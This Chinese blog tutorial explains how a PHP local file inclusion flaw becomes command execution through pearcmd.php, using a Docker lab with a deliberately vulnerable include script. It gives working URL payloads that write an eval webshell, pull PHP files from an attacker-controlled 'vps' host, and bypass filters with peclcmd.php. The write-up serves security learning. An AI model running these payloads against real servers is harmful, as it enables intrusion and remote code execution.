目录

  1. 1. 前言
  2. 2. 环境条件
  3. 3. 环境配置
  4. 4. 复现
  5. 5. 利用
    1. 5.1. config-create
    2. 5.2. install
    3. 5.3. download
  6. 6. 过滤绕过

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

LFI包含pearcmd.php进行命令执行

2023/7/25 Web 文件包含 PHP
  |     |   总文章阅读量:

前言

参考w4rsp1t3的博客

参考y4爷的博客

参考csdn上的文章

p神的文章

环境条件

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库

在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

php.ini当中 register_argc_argv=On需要开启


环境配置

直接在docker里拉一个php的镜像就行

这里拉一个php7.1.33-apache的镜像来测试

然后进入docker命令行

docker exec -it [container id] /bin/bash

在web主目录下创建两个文件用于测试

<?php
//test.php
include($_REQUEST['file']);
?>
<?php
//test2.php
var_dump($_SERVER['argv']);
?>

复现

  1. 先找到pearcmd.php的文件位置,一般在/usr/local/lib/php/pearcmd.php

  2. 开启register_argc_argv,docker默认开了

    当我们开启register_argc_argv选项的时候,$_SERVER['argv']就会生效

    URL中?后面的内容会全部传入至$_SERVER['argv']这个变量内,无论后面的内容是否有等号

    参考php特性中$_SERVER[‘argv’]

  3. $_SERVER['argv']有什么用呢,我们来看一下pearcmd.php的获取参数的代码段

    PEAR_Command::setFrontendType('CLI');
    $all_commands = PEAR_Command::getCommands();
    
    // remove this next part when we stop supporting that crap-ass PHP 4.2
    if (!isset($_SERVER['argv']) && !isset($argv) && !isset($HTTP_SERVER_VARS['argv'])) {
        echo 'ERROR: either use the CLI php executable, ' .
             'or set register_argc_argv=On in php.ini';
        exit(1);
    }
    
    $argv = Console_Getopt::readPHPArgv();
    // fix CGI sapi oddity - the -- in pear.bat/pear is not removed
    if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
        unset($argv[1]);
        $argv = array_values($argv);
    }

    注意:这里处理的是$argv[1],所以在等会的传参命令行执行中要先进行一次+分隔再执行命令

    而pear获取命令行参数的函数Consoles/Getopt.php->readPHPArgv()

    public static function readPHPArgv()
        {
            global $argv;
            if (!is_array($argv)) {
                if (!@is_array($_SERVER['argv'])) {
                    if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                        $msg = "Could not read cmd args (register_argc_argv=Off?)";
                        return PEAR::raiseError("Console_Getopt: " . $msg);
                    }
                    return $GLOBALS['HTTP_SERVER_VARS']['argv'];
                }
                return $_SERVER['argv'];
            }
            return $argv;
        }

    这里会先尝试$argv,如果不存在再尝试$_SERVER['argv'],后者是我们可控的变量,也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数


利用

命令行输入pear看一下能使用的命令

root@1a138b1621cb:/var/www/html# pear
Commands:
build                  Build an Extension From C Source
bundle                 Unpacks a Pecl Package
channel-add            Add a Channel
channel-alias          Specify an alias to a channel name
channel-delete         Remove a Channel From the List
channel-discover       Initialize a Channel from its server
channel-info           Retrieve Information on a Channel
channel-login          Connects and authenticates to remote channel server
channel-logout         Logs out from the remote channel server
channel-update         Update an Existing Channel
clear-cache            Clear Web Services Cache
config-create          Create a Default configuration file
config-get             Show One Setting
config-help            Show Information About Setting
config-set             Change Setting
config-show            Show All Settings
convert                Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff                Run a "cvs diff" for all files in a package
cvstag                 Set CVS Release Tag
download               Download Package
download-all           Downloads each available package from the default channel
info                   Display information about a package
install                Install Package
list                   List Installed Packages In The Default Channel
list-all               List All Packages
list-channels          List Available Channels
list-files             List Files In Installed Package
list-upgrades          List Available Upgrades
login                  Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout                 Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm                Builds an RPM spec file from a PEAR package
package                Build Package
package-dependencies   Show package dependencies
package-validate       Validate Package Consistency
pickle                 Build PECL Package
remote-info            Information About Remote Packages
remote-list            List Remote Packages
run-scripts            Run Post-Install Scripts bundled with a package
run-tests              Run Regression Tests
search                 Search remote package database
shell-test             Shell Script Test
sign                   Sign a package distribution file
svntag                 Set SVN Release Tag
uninstall              Un-install Package
update-channels        Update the Channel List
upgrade                Upgrade Package
upgrade-all            Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]

这里面存在三个可能利用的参数:config-createinstalldownload

config-create

首先是p神的方法

看一下config-create的用法

创建一个默认配置文件,其中所有的目录配置变量都设置为以 root path 为子目录,并将其保存为 filename

pear config-create [options] <root path> <filename>

就是要我们输入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中

在存在文件包含的页面输入payload:(建议使用burp发包)

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd'])?>+/tmp/test.php

image-20230804183736996

可以发现这里已经成功写入了

image-20230804175417769

文件内容

#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:78:"/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[%27cmd%27]);?>/pear/php";s:8:"data_dir";s:79:"/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[%27cmd%27]);?>/pear/data";s:7:"www_dir";s:78:"/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[%27cmd%27]);?>/pear/www";s:7:"cfg_dir";s:78:"/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[%27cmd%27]);?>/pear/cfg";s:7:"ext_dir";s:78:"/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[%27cmd%27]);?>/pear/ext";s:7:"doc_dir";s:79:"/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[%27cmd%27]);?>/pear/docs";s:8:"test_dir";s:80:"/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[%27cmd%27]);?>/pear/tests";s:9:"cache_dir";s:80:"/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[%27cmd%27]);?>/pear/cache";s:12:"download_dir";s:83:"/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[%27cmd%27]);?>/pear/download";s:8:"temp_dir";s:79:"/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[%27cmd%27]);?>/pear/temp";s:7:"bin_dir";s:74:"/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[%27cmd%27]);?>/pear";s:7:"man_dir";s:78:"/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[%27cmd%27]);?>/pear/man";}

可以看到不仅我们的一句话木马被写进去了,与此同时我们的file参数也被写进去了

因为对于$_SERVER['argv']而言,我们传入的参数分为三个部分,config-create/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd'])?>/tmp/test.php

而通过文件包含又执行了pearcmd,所以这里的file及其参数自然就被当作参数接纳了

文件包含一句话木马,成功执行phpinfo()

image-20230804183815536


install

在自己的vps上挂个php文件,然后通过pear下载

payload:

/?file=/usr/local/lib/php/pearcmd.php&+install+http://vps/1.php

文件会被下载到/tmp/pear/download/1.php


download

这个能直接下到web目录

/?file=/usr/local/lib/php/pearcmd.php&+download+http://vps/1.php

过滤绕过

如果过滤了pearcmd,其实可以用peclcmd.php作为平替